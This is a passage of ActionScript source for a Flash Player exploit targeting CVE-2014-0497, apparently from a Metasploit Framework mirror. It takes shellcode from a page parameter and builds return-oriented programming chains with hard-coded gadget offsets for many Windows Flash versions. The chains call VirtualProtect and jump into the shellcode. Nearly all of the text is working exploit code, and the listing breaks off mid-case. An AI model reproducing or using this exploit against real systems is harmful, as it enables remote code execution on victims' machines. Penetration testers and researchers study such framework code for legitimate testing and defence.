PageRenderTime 52ms CodeModel.GetById 15ms RepoModel.GetById 1ms app.codeStats 0ms

/external/source/exploits/CVE-2014-0497/Vickers.as

https://gitlab.com/alx741/metasploit-framework
ActionScript | 797 lines | 780 code | 11 blank | 6 comment | 35 complexity | 288168267343778ef9d2e730661a99d4 MD5 | raw file
  1. //Compile with mxmlc Vickers.as -o Vickers.swf
  2. package
  3. {
  4. import flash.display.Sprite;
  5. import flash.system.Capabilities;
  6. import flash.utils.ByteArray;
  7. import __AS3__.vec.Vector;
  8. import flash.system.ApplicationDomain;
  9. import avm2.intrinsics.memory.*;
  10. public class Vickers extends Sprite
  11. {
  12. public static var shellcode:String;
  13. public function Vickers()
  14. {
  15. var params = root.loaderInfo.parameters;
  16. shellcode = params["id"];
  17. while (true)
  18. {
  19. if (exploit()) break;
  20. };
  21. }
  22. public function makePayload(vftableAddr:*, scAddr:*):ByteArray
  23. {
  24. var payload = null;
  25. switch (Capabilities.os.toLowerCase())
  26. {
  27. case "windows xp":
  28. case "windows vista":
  29. case "windows server 2003 r2":
  30. case "windows server 2003":
  31. case "windows 7":
  32. case "windows 7 x64":
  33. case "windows server 2008 r2":
  34. case "windows server 2008":
  35. payload = makePayloadWinOther(vftableAddr, scAddr);
  36. break;
  37. case "windows 8":
  38. case "windows 8 x64":
  39. payload = makePayloadWin8(vftableAddr, scAddr);
  40. break;
  41. default:
  42. return (null);
  43. };
  44. return (payload);
  45. }
  46. public function makePayloadWin8(vftableAddr:*, scAddr:*):ByteArray
  47. {
  48. var flash_base:uint = vftableAddr;
  49. var flash_end:uint;
  50. var rop_payload:ByteArray = new ByteArray();
  51. rop_payload.position = 0;
  52. rop_payload.endian = "littleEndian";
  53. rop_payload.writeUnsignedInt((scAddr + 4));
  54. switch (Capabilities.version.toLowerCase())
  55. {
  56. case "win 11,3,372,94":
  57. flash_base = (flash_base - 9518744);
  58. flash_end = (flash_base + 0xB10000);
  59. rop_payload.writeUnsignedInt((flash_base + 0x401404)); // add esp, 0x44; ret
  60. rop_payload.position = 64;
  61. rop_payload.writeUnsignedInt((flash_base + 0x26525)); // xchg eax, esp; ret
  62. rop_payload.position = 76;
  63. rop_payload.writeUnsignedInt((flash_base + 0x10c5)); // pop eax; ret
  64. rop_payload.writeUnsignedInt((flash_base + 0x817420)); // ptr to KERNEL32!VirtualProtectStub
  65. rop_payload.writeUnsignedInt((flash_base + 0x9e16)); // mov eax, dword ptr [eax]; ret
  66. rop_payload.writeUnsignedInt((flash_base + 0xcc022)); // push eax; ret
  67. rop_payload.writeUnsignedInt((flash_base + 0x3157c)); // jmp esp ; ret after VirtualProtect
  68. rop_payload.writeUnsignedInt(scAddr);
  69. rop_payload.writeUnsignedInt(0x1000);
  70. rop_payload.writeUnsignedInt(0x40);
  71. rop_payload.writeUnsignedInt((scAddr - 4));
  72. break;
  73. case "win 11,3,375,10":
  74. flash_base = (flash_base - 9589392);
  75. flash_end = (flash_base + 0xB15000);
  76. rop_payload.writeUnsignedInt((flash_base + 4220004));
  77. rop_payload.position = 64;
  78. rop_payload.writeUnsignedInt((flash_base + 142215));
  79. rop_payload.position = 76;
  80. rop_payload.writeUnsignedInt((flash_base + 4293));
  81. rop_payload.writeUnsignedInt((flash_base + 8504352));
  82. rop_payload.writeUnsignedInt((flash_base + 40214));
  83. rop_payload.writeUnsignedInt((flash_base + 840082));
  84. rop_payload.writeUnsignedInt((flash_base + 202134));
  85. rop_payload.writeUnsignedInt(scAddr);
  86. rop_payload.writeUnsignedInt(0x1000);
  87. rop_payload.writeUnsignedInt(64);
  88. rop_payload.writeUnsignedInt((scAddr - 4));
  89. break;
  90. case "win 11,3,376,12":
  91. flash_base = (flash_base - 9593552);
  92. flash_end = (flash_base + 0xB16000);
  93. rop_payload.writeUnsignedInt((flash_base + 4220740));
  94. rop_payload.position = 64;
  95. rop_payload.writeUnsignedInt((flash_base + 142023));
  96. rop_payload.position = 76;
  97. rop_payload.writeUnsignedInt((flash_base + 4293));
  98. rop_payload.writeUnsignedInt((flash_base + 8508448));
  99. rop_payload.writeUnsignedInt((flash_base + 39878));
  100. rop_payload.writeUnsignedInt((flash_base + 839538));
  101. rop_payload.writeUnsignedInt((flash_base + 201958));
  102. rop_payload.writeUnsignedInt(scAddr);
  103. rop_payload.writeUnsignedInt(0x1000);
  104. rop_payload.writeUnsignedInt(64);
  105. rop_payload.writeUnsignedInt((scAddr - 4));
  106. break;
  107. case "win 11,3,377,15":
  108. flash_base = (flash_base - 9589576);
  109. flash_end = (flash_base + 0xB15000);
  110. rop_payload.writeUnsignedInt((flash_base + 4220388));
  111. rop_payload.position = 64;
  112. rop_payload.writeUnsignedInt((flash_base + 141671));
  113. rop_payload.position = 76;
  114. rop_payload.writeUnsignedInt((flash_base + 4293));
  115. rop_payload.writeUnsignedInt((flash_base + 8504352));
  116. rop_payload.writeUnsignedInt((flash_base + 39526));
  117. rop_payload.writeUnsignedInt((flash_base + 839698));
  118. rop_payload.writeUnsignedInt((flash_base + 201590));
  119. rop_payload.writeUnsignedInt(scAddr);
  120. rop_payload.writeUnsignedInt(0x1000);
  121. rop_payload.writeUnsignedInt(64);
  122. rop_payload.writeUnsignedInt((scAddr - 4));
  123. break;
  124. case "win 11,3,378,5":
  125. flash_base = (flash_base - 9589448);
  126. flash_end = (flash_base + 0xB15000);
  127. rop_payload.writeUnsignedInt((flash_base + 4220388));
  128. rop_payload.position = 64;
  129. rop_payload.writeUnsignedInt((flash_base + 141671));
  130. rop_payload.position = 76;
  131. rop_payload.writeUnsignedInt((flash_base + 4293));
  132. rop_payload.writeUnsignedInt((flash_base + 8504352));
  133. rop_payload.writeUnsignedInt((flash_base + 39526));
  134. rop_payload.writeUnsignedInt((flash_base + 839698));
  135. rop_payload.writeUnsignedInt((flash_base + 201590));
  136. rop_payload.writeUnsignedInt(scAddr);
  137. rop_payload.writeUnsignedInt(0x1000);
  138. rop_payload.writeUnsignedInt(64);
  139. rop_payload.writeUnsignedInt((scAddr - 4));
  140. break;
  141. case "win 11,3,379,14":
  142. flash_base = (flash_base - 9597856);
  143. flash_end = (flash_base + 0xB17000);
  144. rop_payload.writeUnsignedInt((flash_base + 4575113));
  145. rop_payload.position = 64;
  146. rop_payload.writeUnsignedInt((flash_base + 6617808));
  147. rop_payload.position = 76;
  148. rop_payload.writeUnsignedInt((flash_base + 8149060));
  149. rop_payload.writeUnsignedInt((flash_base + 8512544));
  150. rop_payload.writeUnsignedInt((flash_base + 4907562));
  151. rop_payload.writeUnsignedInt((flash_base + 8147977));
  152. rop_payload.writeUnsignedInt((flash_base + 4046601));
  153. rop_payload.writeUnsignedInt(scAddr);
  154. rop_payload.writeUnsignedInt(0x1000);
  155. rop_payload.writeUnsignedInt(64);
  156. rop_payload.writeUnsignedInt((scAddr - 4));
  157. break;
  158. case "win 11,6,602,167":
  159. flash_base = (flash_base - 9821704);
  160. flash_end = (flash_base + 0xB85000);
  161. rop_payload.writeUnsignedInt((flash_base + 8405950));
  162. rop_payload.position = 64;
  163. rop_payload.writeUnsignedInt((flash_base + 27456));
  164. rop_payload.position = 76;
  165. rop_payload.writeUnsignedInt((flash_base + 4293));
  166. rop_payload.writeUnsignedInt((flash_base + 8791088));
  167. rop_payload.writeUnsignedInt((flash_base + 73494));
  168. rop_payload.writeUnsignedInt((flash_base + 1115794));
  169. rop_payload.writeUnsignedInt((flash_base + 242790));
  170. rop_payload.writeUnsignedInt(scAddr);
  171. rop_payload.writeUnsignedInt(0x1000);
  172. rop_payload.writeUnsignedInt(64);
  173. rop_payload.writeUnsignedInt((scAddr - 4));
  174. break;
  175. case "win 11,6,602,171":
  176. flash_base = (flash_base - 9821904);
  177. flash_end = (flash_base + 0xB85000);
  178. rop_payload.writeUnsignedInt((flash_base + 8406414));
  179. rop_payload.position = 64;
  180. rop_payload.writeUnsignedInt((flash_base + 27456));
  181. rop_payload.position = 76;
  182. rop_payload.writeUnsignedInt((flash_base + 4293));
  183. rop_payload.writeUnsignedInt((flash_base + 8791088));
  184. rop_payload.writeUnsignedInt((flash_base + 73078));
  185. rop_payload.writeUnsignedInt((flash_base + 1116754));
  186. rop_payload.writeUnsignedInt((flash_base + 242380));
  187. rop_payload.writeUnsignedInt(scAddr);
  188. rop_payload.writeUnsignedInt(0x1000);
  189. rop_payload.writeUnsignedInt(64);
  190. rop_payload.writeUnsignedInt((scAddr - 4));
  191. break;
  192. case "win 11,6,602,180":
  193. flash_base = (flash_base - 9816600);
  194. flash_end = (flash_base + 0xB84000);
  195. rop_payload.writeUnsignedInt((flash_base + 8404478));
  196. rop_payload.position = 64;
  197. rop_payload.writeUnsignedInt((flash_base + 29514));
  198. rop_payload.position = 76;
  199. rop_payload.writeUnsignedInt((flash_base + 4293));
  200. rop_payload.writeUnsignedInt((flash_base + 8786992));
  201. rop_payload.writeUnsignedInt((flash_base + 69382));
  202. rop_payload.writeUnsignedInt((flash_base + 175197));
  203. rop_payload.writeUnsignedInt((flash_base + 238732));
  204. rop_payload.writeUnsignedInt(scAddr);
  205. rop_payload.writeUnsignedInt(0x1000);
  206. rop_payload.writeUnsignedInt(64);
  207. rop_payload.writeUnsignedInt((scAddr - 4));
  208. break;
  209. case "win 11,7,700,169":
  210. flash_base = (flash_base - 10441412);
  211. flash_end = (flash_base + 0xC45000);
  212. rop_payload.writeUnsignedInt((flash_base + 4640769));
  213. rop_payload.position = 64;
  214. rop_payload.writeUnsignedInt((flash_base + 53338));
  215. rop_payload.position = 76;
  216. rop_payload.writeUnsignedInt((flash_base + 4293));
  217. rop_payload.writeUnsignedInt((flash_base + 9368732));
  218. rop_payload.writeUnsignedInt((flash_base + 95414));
  219. rop_payload.writeUnsignedInt((flash_base + 1145506));
  220. rop_payload.writeUnsignedInt((flash_base + 2156132));
  221. rop_payload.writeUnsignedInt(scAddr);
  222. rop_payload.writeUnsignedInt(0x1000);
  223. rop_payload.writeUnsignedInt(64);
  224. rop_payload.writeUnsignedInt((scAddr - 4));
  225. break;
  226. case "win 11,7,700,202":
  227. flash_base = (flash_base - 0x9f5470);
  228. flash_end = (flash_base + 0xC45000);
  229. rop_payload.writeUnsignedInt((flash_base + 0x46c361));
  230. rop_payload.position = 64;
  231. rop_payload.writeUnsignedInt((flash_base + 0xcc5a));
  232. rop_payload.position = 76;
  233. rop_payload.writeUnsignedInt((flash_base + 0x10c5));
  234. rop_payload.writeUnsignedInt((flash_base + 0x8ef49c));
  235. rop_payload.writeUnsignedInt((flash_base + 0x17136));
  236. rop_payload.writeUnsignedInt((flash_base + 0x42f0));
  237. rop_payload.writeUnsignedInt((flash_base + 0x40664));
  238. rop_payload.writeUnsignedInt(scAddr);
  239. rop_payload.writeUnsignedInt(0x1000);
  240. rop_payload.writeUnsignedInt(64);
  241. rop_payload.writeUnsignedInt((scAddr - 4));
  242. break;
  243. case "win 11,7,700,224":
  244. flash_base = (flash_base - 10450228);
  245. flash_end = (flash_base + 0xC7A000);
  246. rop_payload.writeUnsignedInt((flash_base + 4646881));
  247. rop_payload.position = 64;
  248. rop_payload.writeUnsignedInt((flash_base + 52090));
  249. rop_payload.position = 76;
  250. rop_payload.writeUnsignedInt((flash_base + 4293));
  251. rop_payload.writeUnsignedInt((flash_base + 9376924));
  252. rop_payload.writeUnsignedInt((flash_base + 93510));
  253. rop_payload.writeUnsignedInt((flash_base + 1145378));
  254. rop_payload.writeUnsignedInt((flash_base + 1909483));
  255. rop_payload.writeUnsignedInt(scAddr);
  256. rop_payload.writeUnsignedInt(0x1000);
  257. rop_payload.writeUnsignedInt(64);
  258. rop_payload.writeUnsignedInt((scAddr - 4));
  259. break;
  260. default:
  261. return (null);
  262. };
  263. return (rop_payload);
  264. }
  265. public function makePayloadWinOther(vftableAddr:*, scAddr:*):ByteArray
  266. {
  267. var vftableAddr_copy:uint = vftableAddr;
  268. var _local_5:uint;
  269. var payload:ByteArray = new ByteArray();
  270. payload.position = 0;
  271. payload.endian = "littleEndian";
  272. payload.writeUnsignedInt((scAddr + 4));
  273. switch (Capabilities.version.toLowerCase())
  274. {
  275. case "win 11,0,1,152":
  276. vftableAddr_copy = (vftableAddr_copy - 7628676);
  277. _local_5 = (vftableAddr_copy + 0x927000);
  278. payload.position = 8;
  279. payload.writeUnsignedInt((vftableAddr_copy + 1041567));
  280. payload.position = 64;
  281. payload.writeUnsignedInt((vftableAddr_copy + 1937003));
  282. payload.position = 80;
  283. payload.writeUnsignedInt((vftableAddr_copy + 4585805));
  284. payload.writeUnsignedInt((vftableAddr_copy + 6697912));
  285. payload.writeUnsignedInt((vftableAddr_copy + 2201532));
  286. payload.writeUnsignedInt((vftableAddr_copy + 3985044));
  287. payload.writeUnsignedInt((vftableAddr_copy + 2764856));
  288. payload.writeUnsignedInt(scAddr);
  289. payload.writeUnsignedInt(0x1000);
  290. payload.writeUnsignedInt(64);
  291. payload.writeUnsignedInt((scAddr - 4));
  292. break;
  293. case "win 11,1,102,55":
  294. vftableAddr_copy = (vftableAddr_copy - 7633040);
  295. _local_5 = (vftableAddr_copy + 0x927000);
  296. payload.position = 8;
  297. payload.writeUnsignedInt((vftableAddr_copy + 4793772));
  298. payload.position = 64;
  299. payload.writeUnsignedInt((vftableAddr_copy + 1939267));
  300. payload.position = 80;
  301. payload.writeUnsignedInt((vftableAddr_copy + 2297101));
  302. payload.writeUnsignedInt((vftableAddr_copy + 6702008));
  303. payload.writeUnsignedInt((vftableAddr_copy + 3976335));
  304. payload.writeUnsignedInt((vftableAddr_copy + 3516263));
  305. payload.writeUnsignedInt((vftableAddr_copy + 2768033));
  306. payload.writeUnsignedInt(scAddr);
  307. payload.writeUnsignedInt(0x1000);
  308. payload.writeUnsignedInt(64);
  309. payload.writeUnsignedInt((scAddr - 4));
  310. break;
  311. case "win 11,1,102,62":
  312. vftableAddr_copy = (vftableAddr_copy - 7628912);
  313. _local_5 = (vftableAddr_copy + 0x927000);
  314. payload.position = 8;
  315. payload.writeUnsignedInt((vftableAddr_copy + 4794156));
  316. payload.position = 64;
  317. payload.writeUnsignedInt((vftableAddr_copy + 1939856));
  318. payload.position = 80;
  319. payload.writeUnsignedInt((vftableAddr_copy + 5126527));
  320. payload.writeUnsignedInt((vftableAddr_copy + 6702008));
  321. payload.writeUnsignedInt((vftableAddr_copy + 2920469));
  322. payload.writeUnsignedInt((vftableAddr_copy + 4454837));
  323. payload.writeUnsignedInt((vftableAddr_copy + 2768325));
  324. payload.writeUnsignedInt(scAddr);
  325. payload.writeUnsignedInt(0x1000);
  326. payload.writeUnsignedInt(64);
  327. payload.writeUnsignedInt((scAddr - 4));
  328. break;
  329. case "win 11,1,102,63":
  330. vftableAddr_copy = (vftableAddr_copy - 7628904);
  331. _local_5 = (vftableAddr_copy + 0x927000);
  332. payload.position = 8;
  333. payload.writeUnsignedInt((vftableAddr_copy + 4794076));
  334. payload.position = 64;
  335. payload.writeUnsignedInt((vftableAddr_copy + 1939822));
  336. payload.position = 80;
  337. payload.writeUnsignedInt((vftableAddr_copy + 5126435));
  338. payload.writeUnsignedInt((vftableAddr_copy + 6702008));
  339. payload.writeUnsignedInt((vftableAddr_copy + 2353542));
  340. payload.writeUnsignedInt((vftableAddr_copy + 3516455));
  341. payload.writeUnsignedInt((vftableAddr_copy + 2768305));
  342. payload.writeUnsignedInt(scAddr);
  343. payload.writeUnsignedInt(0x1000);
  344. payload.writeUnsignedInt(64);
  345. payload.writeUnsignedInt((scAddr - 4));
  346. break;
  347. case "win 11,2,202,228":
  348. vftableAddr_copy = (vftableAddr_copy - 7726032);
  349. _local_5 = (vftableAddr_copy + 0x93F000);
  350. payload.position = 8;
  351. payload.writeUnsignedInt((vftableAddr_copy + 4947482));
  352. payload.position = 64;
  353. payload.writeUnsignedInt((vftableAddr_copy + 2022234));
  354. payload.position = 80;
  355. payload.writeUnsignedInt((vftableAddr_copy + 6255948));
  356. payload.writeUnsignedInt((vftableAddr_copy + 6824832));
  357. payload.writeUnsignedInt((vftableAddr_copy + 5021261));
  358. payload.writeUnsignedInt((vftableAddr_copy + 6176368));
  359. payload.writeUnsignedInt((vftableAddr_copy + 2847152));
  360. payload.writeUnsignedInt(scAddr);
  361. payload.writeUnsignedInt(0x1000);
  362. payload.writeUnsignedInt(64);
  363. payload.writeUnsignedInt((scAddr - 4));
  364. break;
  365. case "win 11,2,202,233":
  366. vftableAddr_copy = (vftableAddr_copy - 7729872);
  367. _local_5 = (vftableAddr_copy + 0x93F000);
  368. payload.position = 8;
  369. payload.writeUnsignedInt((vftableAddr_copy + 4947594));
  370. payload.position = 64;
  371. payload.writeUnsignedInt((vftableAddr_copy + 2022508));
  372. payload.position = 80;
  373. payload.writeUnsignedInt((vftableAddr_copy + 4691374));
  374. payload.writeUnsignedInt((vftableAddr_copy + 6824832));
  375. payload.writeUnsignedInt((vftableAddr_copy + 4164715));
  376. payload.writeUnsignedInt((vftableAddr_copy + 5837496));
  377. payload.writeUnsignedInt((vftableAddr_copy + 2847021));
  378. payload.writeUnsignedInt(scAddr);
  379. payload.writeUnsignedInt(0x1000);
  380. payload.writeUnsignedInt(64);
  381. payload.writeUnsignedInt((scAddr - 4));
  382. break;
  383. case "win 11,2,202,235":
  384. vftableAddr_copy = (vftableAddr_copy - 7734032);
  385. _local_5 = (vftableAddr_copy + 0x940000);
  386. payload.position = 8;
  387. payload.writeUnsignedInt((vftableAddr_copy + 4947578));
  388. payload.position = 64;
  389. payload.writeUnsignedInt((vftableAddr_copy + 2022729));
  390. payload.position = 80;
  391. payload.writeUnsignedInt((vftableAddr_copy + 5249755));
  392. payload.writeUnsignedInt((vftableAddr_copy + 6828928));
  393. payload.writeUnsignedInt((vftableAddr_copy + 4261382));
  394. payload.writeUnsignedInt((vftableAddr_copy + 4553024));
  395. payload.writeUnsignedInt((vftableAddr_copy + 2847456));
  396. payload.writeUnsignedInt(scAddr);
  397. payload.writeUnsignedInt(0x1000);
  398. payload.writeUnsignedInt(64);
  399. payload.writeUnsignedInt((scAddr - 4));
  400. break;
  401. case "win 11,3,300,257":
  402. vftableAddr_copy = (vftableAddr_copy - 8232016);
  403. _local_5 = (vftableAddr_copy + 0x9C3000);
  404. payload.position = 8;
  405. payload.writeUnsignedInt((vftableAddr_copy + 5328586));
  406. payload.position = 64;
  407. payload.writeUnsignedInt((vftableAddr_copy + 2069614));
  408. payload.position = 80;
  409. payload.writeUnsignedInt((vftableAddr_copy + 6497300));
  410. payload.writeUnsignedInt((vftableAddr_copy + 7222148));
  411. payload.writeUnsignedInt((vftableAddr_copy + 5022322));
  412. payload.writeUnsignedInt((vftableAddr_copy + 4972967));
  413. payload.writeUnsignedInt((vftableAddr_copy + 3071572));
  414. payload.writeUnsignedInt(scAddr);
  415. payload.writeUnsignedInt(0x1000);
  416. payload.writeUnsignedInt(64);
  417. payload.writeUnsignedInt((scAddr - 4));
  418. break;
  419. case "win 11,3,300,273":
  420. vftableAddr_copy = (vftableAddr_copy - 8236216);
  421. _local_5 = (vftableAddr_copy + 0x9C4000);
  422. payload.position = 8;
  423. payload.writeUnsignedInt((vftableAddr_copy + 5331930));
  424. payload.position = 64;
  425. payload.writeUnsignedInt((vftableAddr_copy + 2070667));
  426. payload.position = 80;
  427. payload.writeUnsignedInt((vftableAddr_copy + 6500737));
  428. payload.writeUnsignedInt((vftableAddr_copy + 7226252));
  429. payload.writeUnsignedInt((vftableAddr_copy + 5142060));
  430. payload.writeUnsignedInt((vftableAddr_copy + 5127634));
  431. payload.writeUnsignedInt((vftableAddr_copy + 3074828));
  432. payload.writeUnsignedInt(scAddr);
  433. payload.writeUnsignedInt(0x1000);
  434. payload.writeUnsignedInt(64);
  435. payload.writeUnsignedInt((scAddr - 4));
  436. break;
  437. case "win 11,4,402,278":
  438. vftableAddr_copy = (vftableAddr_copy - 8503560);
  439. _local_5 = (vftableAddr_copy + 0xA23000);
  440. payload.writeUnsignedInt((vftableAddr_copy + 5581452));
  441. payload.position = 64;
  442. payload.writeUnsignedInt((vftableAddr_copy + 1202409));
  443. payload.position = 76;
  444. payload.writeUnsignedInt((vftableAddr_copy + 6927402));
  445. payload.writeUnsignedInt((vftableAddr_copy + 7480208));
  446. payload.writeUnsignedInt((vftableAddr_copy + 5373116));
  447. payload.writeUnsignedInt((vftableAddr_copy + 5713520));
  448. payload.writeUnsignedInt((vftableAddr_copy + 3269652));
  449. payload.writeUnsignedInt(scAddr);
  450. payload.writeUnsignedInt(0x1000);
  451. payload.writeUnsignedInt(64);
  452. payload.writeUnsignedInt((scAddr - 4));
  453. break;
  454. case "win 11,4,402,287":
  455. vftableAddr_copy = (vftableAddr_copy - 8507728);
  456. _local_5 = (vftableAddr_copy + 0xA24000);
  457. payload.writeUnsignedInt((vftableAddr_copy + 5582348));
  458. payload.position = 64;
  459. payload.writeUnsignedInt((vftableAddr_copy + 1202841));
  460. payload.position = 76;
  461. payload.writeUnsignedInt((vftableAddr_copy + 6927143));
  462. payload.writeUnsignedInt((vftableAddr_copy + 7484304));
  463. payload.writeUnsignedInt((vftableAddr_copy + 5481024));
  464. payload.writeUnsignedInt((vftableAddr_copy + 5107604));
  465. payload.writeUnsignedInt((vftableAddr_copy + 5747979));
  466. payload.writeUnsignedInt(scAddr);
  467. payload.writeUnsignedInt(0x1000);
  468. payload.writeUnsignedInt(64);
  469. payload.writeUnsignedInt((scAddr - 4));
  470. break;
  471. case "win 11,5,502,110":
  472. vftableAddr_copy = (vftableAddr_copy - 11716376);
  473. _local_5 = (vftableAddr_copy + 0xEC6000);
  474. payload.position = 20;
  475. payload.writeUnsignedInt((vftableAddr_copy + 9813154));
  476. payload.position = 64;
  477. payload.writeUnsignedInt((vftableAddr_copy + 448623));
  478. payload.position = 96;
  479. payload.writeUnsignedInt((vftableAddr_copy + 9326463));
  480. payload.writeUnsignedInt((vftableAddr_copy + 10691852));
  481. payload.writeUnsignedInt((vftableAddr_copy + 5731300));
  482. payload.writeUnsignedInt((vftableAddr_copy + 8910259));
  483. payload.writeUnsignedInt((vftableAddr_copy + 8630687));
  484. payload.writeUnsignedInt(scAddr);
  485. payload.writeUnsignedInt(0x1000);
  486. payload.writeUnsignedInt(64);
  487. payload.writeUnsignedInt((scAddr - 4));
  488. break;
  489. case "win 11,5,502,135":
  490. vftableAddr_copy = (vftableAddr_copy - 11716400);
  491. _local_5 = (vftableAddr_copy + 0xEC6000);
  492. payload.writeUnsignedInt((vftableAddr_copy + 1101327));
  493. payload.position = 64;
  494. payload.writeUnsignedInt((vftableAddr_copy + 4733912));
  495. payload.position = 76;
  496. payload.writeUnsignedInt((vftableAddr_copy + 4540));
  497. payload.writeUnsignedInt((vftableAddr_copy + 10691852));
  498. payload.writeUnsignedInt((vftableAddr_copy + 28862));
  499. payload.writeUnsignedInt((vftableAddr_copy + 512197));
  500. payload.writeUnsignedInt((vftableAddr_copy + 1560889));
  501. payload.writeUnsignedInt(scAddr);
  502. payload.writeUnsignedInt(0x1000);
  503. payload.writeUnsignedInt(64);
  504. payload.writeUnsignedInt((scAddr - 4));
  505. break;
  506. case "win 11,5,502,146":
  507. vftableAddr_copy = (vftableAddr_copy - 11716320);
  508. _local_5 = (vftableAddr_copy + 0xEC6000);
  509. payload.writeUnsignedInt((vftableAddr_copy + 1101327));
  510. payload.position = 64;
  511. payload.writeUnsignedInt((vftableAddr_copy + 4733912));
  512. payload.position = 76;
  513. payload.writeUnsignedInt((vftableAddr_copy + 4540));
  514. payload.writeUnsignedInt((vftableAddr_copy + 10691852));
  515. payload.writeUnsignedInt((vftableAddr_copy + 28862));
  516. payload.writeUnsignedInt((vftableAddr_copy + 512197));
  517. payload.writeUnsignedInt((vftableAddr_copy + 1560889));
  518. payload.writeUnsignedInt(scAddr);
  519. payload.writeUnsignedInt(0x1000);
  520. payload.writeUnsignedInt(64);
  521. payload.writeUnsignedInt((scAddr - 4));
  522. break;
  523. case "win 11,5,502,149":
  524. vftableAddr_copy = (vftableAddr_copy - 11712240);
  525. _local_5 = (vftableAddr_copy + 0xEC6000);
  526. payload.position = 5;
  527. payload.writeUnsignedInt((vftableAddr_copy + 10373824));
  528. payload.position = 64;
  529. payload.writeUnsignedInt((vftableAddr_copy + 4331881));
  530. payload.position = 77;
  531. payload.writeUnsignedInt((vftableAddr_copy + 9292830));
  532. payload.writeUnsignedInt((vftableAddr_copy + 10691852));
  533. payload.writeUnsignedInt((vftableAddr_copy + 5731956));
  534. payload.writeUnsignedInt((vftableAddr_copy + 7150772));
  535. payload.writeUnsignedInt((vftableAddr_copy + 3344264));
  536. payload.writeUnsignedInt(scAddr);
  537. payload.writeUnsignedInt(0x1000);
  538. payload.writeUnsignedInt(64);
  539. payload.writeUnsignedInt((scAddr - 4));
  540. break;
  541. case "win 11,6,602,168":
  542. vftableAddr_copy = (vftableAddr_copy - 11825816);
  543. _local_5 = (vftableAddr_copy + 0xEE9000);
  544. payload.position = 5;
  545. payload.writeUnsignedInt((vftableAddr_copy + 9924439));
  546. payload.position = 64;
  547. payload.writeUnsignedInt((vftableAddr_copy + 4370139));
  548. payload.position = 77;
  549. payload.writeUnsignedInt((vftableAddr_copy + 9564155));
  550. payload.writeUnsignedInt((vftableAddr_copy + 10736920));
  551. payload.writeUnsignedInt((vftableAddr_copy + 5830863));
  552. payload.writeUnsignedInt((vftableAddr_copy + 9044861));
  553. payload.writeUnsignedInt((vftableAddr_copy + 7984191));
  554. payload.writeUnsignedInt(scAddr);
  555. payload.writeUnsignedInt(0x1000);
  556. payload.writeUnsignedInt(64);
  557. payload.writeUnsignedInt((scAddr - 4));
  558. break;
  559. case "win 11,6,602,171":
  560. vftableAddr_copy = (vftableAddr_copy - 11834040);
  561. _local_5 = (vftableAddr_copy + 0xEEA000);
  562. payload.position = 5;
  563. payload.writeUnsignedInt((vftableAddr_copy + 9925589));
  564. payload.position = 64;
  565. payload.writeUnsignedInt((vftableAddr_copy + 4370636));
  566. payload.position = 77;
  567. payload.writeUnsignedInt((vftableAddr_copy + 9564442));
  568. payload.writeUnsignedInt((vftableAddr_copy + 10741016));
  569. payload.writeUnsignedInt((vftableAddr_copy + 5771380));
  570. payload.writeUnsignedInt((vftableAddr_copy + 10153408));
  571. payload.writeUnsignedInt((vftableAddr_copy + 7983199));
  572. payload.writeUnsignedInt(scAddr);
  573. payload.writeUnsignedInt(0x1000);
  574. payload.writeUnsignedInt(64);
  575. payload.writeUnsignedInt((scAddr - 4));
  576. break;
  577. case "win 11,6,602,180":
  578. vftableAddr_copy = (vftableAddr_copy - 11824712);
  579. _local_5 = (vftableAddr_copy + 0xEE9000);
  580. payload.position = 5;
  581. payload.writeUnsignedInt((vftableAddr_copy + 9923173));
  582. payload.position = 64;
  583. payload.writeUnsignedInt((vftableAddr_copy + 4368414));
  584. payload.position = 77;
  585. payload.writeUnsignedInt((vftableAddr_copy + 9562061));
  586. payload.writeUnsignedInt((vftableAddr_copy + 10736920));
  587. payload.writeUnsignedInt((vftableAddr_copy + 5828990));
  588. payload.writeUnsignedInt((vftableAddr_copy + 9042989));
  589. payload.writeUnsignedInt((vftableAddr_copy + 8661666));
  590. payload.writeUnsignedInt(scAddr);
  591. payload.writeUnsignedInt(0x1000);
  592. payload.writeUnsignedInt(64);
  593. payload.writeUnsignedInt((scAddr - 4));
  594. break;
  595. case "win 11,7,700,169":
  596. vftableAddr_copy = (vftableAddr_copy - 12902952);
  597. _local_5 = (vftableAddr_copy + 16904192);
  598. payload.writeUnsignedInt((vftableAddr_copy + 1116239));
  599. payload.position = 64;
  600. payload.writeUnsignedInt((vftableAddr_copy + 10368763));
  601. payload.position = 76;
  602. payload.writeUnsignedInt((vftableAddr_copy + 2586086));
  603. payload.writeUnsignedInt((vftableAddr_copy + 11752328));
  604. payload.writeUnsignedInt((vftableAddr_copy + 32732));
  605. payload.writeUnsignedInt((vftableAddr_copy + 8192266));
  606. payload.writeUnsignedInt((vftableAddr_copy + 1578904));
  607. payload.writeUnsignedInt(scAddr);
  608. payload.writeUnsignedInt(0x1000);
  609. payload.writeUnsignedInt(64);
  610. payload.writeUnsignedInt((scAddr - 4));
  611. break;
  612. case "win 11,7,700,202":
  613. vftableAddr_copy = (vftableAddr_copy - 0xc4f508);
  614. _local_5 = (vftableAddr_copy + 0x101f000);
  615. payload.position = 8;
  616. payload.writeUnsignedInt((vftableAddr_copy + 0x7dfcd2)); // 107dfcd2 : add esp,44h ; ret
  617. payload.position = 0x40;
  618. payload.writeUnsignedInt((vftableAddr_copy + 0x12a269)); // 1012a269 : xchg edx,esp ; add eax,dword ptr [eax]; add byte ptr [edi+5Eh],bl ; pop ecx ; ret
  619. payload.position = 0x50;
  620. payload.writeUnsignedInt((vftableAddr_copy + 0xcb497)); // 100cb497 : pop eax ; ret
  621. payload.writeUnsignedInt((vftableAddr_copy + 0xb35388)); // 10b35388 : ptr to VirtualProtect
  622. payload.writeUnsignedInt((vftableAddr_copy + 0x110d3d)); // 10110d3d : mov eax,dword ptr [eax] ; ret
  623. payload.writeUnsignedInt((vftableAddr_copy + 0x887362)); // 10887362 : push eax ; ret
  624. payload.writeUnsignedInt((vftableAddr_copy + 0x331bff)); // 10331bff : jmp esp
  625. payload.writeUnsignedInt(scAddr);
  626. payload.writeUnsignedInt(0x1000);
  627. payload.writeUnsignedInt(0x40);
  628. payload.writeUnsignedInt((scAddr - 4));
  629. break;
  630. case "win 11,8,800,97":
  631. vftableAddr_copy = (vftableAddr_copy - 129165844);
  632. _local_5 = (vftableAddr_copy + 16904192);
  633. payload.position = 8;
  634. payload.writeUnsignedInt(vftableAddr_copy);
  635. payload.position = 16;
  636. payload.writeUnsignedInt((vftableAddr_copy + 117625919));
  637. payload.writeUnsignedInt(-1810746282);
  638. payload.writeUnsignedInt((scAddr + 76));
